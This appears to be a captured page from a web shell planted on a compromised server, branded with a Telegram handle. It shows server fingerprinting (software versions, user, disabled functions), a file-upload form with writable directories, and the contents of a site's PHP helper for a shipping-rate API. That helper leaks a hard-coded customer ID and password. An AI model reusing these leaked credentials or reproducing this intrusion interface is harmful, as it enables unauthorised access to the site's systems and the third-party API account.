https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/indolok.id/application/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/indolok.id/application/helpers/rex_helper.php
<?php
function get_rex_rates($origin_postcode, $destination_postcode, $weight) {

  $customer_id = 'INDOLOK003';
  $customer_password = md5('20200825');
  $url = 'https://api.rex.co.id/KonosWs/v2/GetRate.aspx';

  $ch = curl_init( $url );
  # Setup request to send json via POST.
  $payload = json_encode( array( 
    "customer_id" => $customer_id,
    "customer_password" => $customer_password,
    "zip_origin" => $origin_postcode,
    "zip_destination" => $destination_postcode,
    "weight" => $weight
  ) );
  curl_setopt( $ch, CURLOPT_POSTFIELDS, $payload );
  curl_setopt( $ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
  # Return response instead of printing.
  curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
  # Send request.
  $result = curl_exec($ch);
  curl_close($ch);
  # Print response.
  echo "<pre>$result</pre>";

// $response = curl_exec($curl);
// $err = curl_error($curl);
// curl_close($curl);
// if ($err) {
//   echo "cURL Error #:" . $err;
// } else {
//   return json_decode($response, true);
// }	

}	

https://t.me/RX1948 - 2025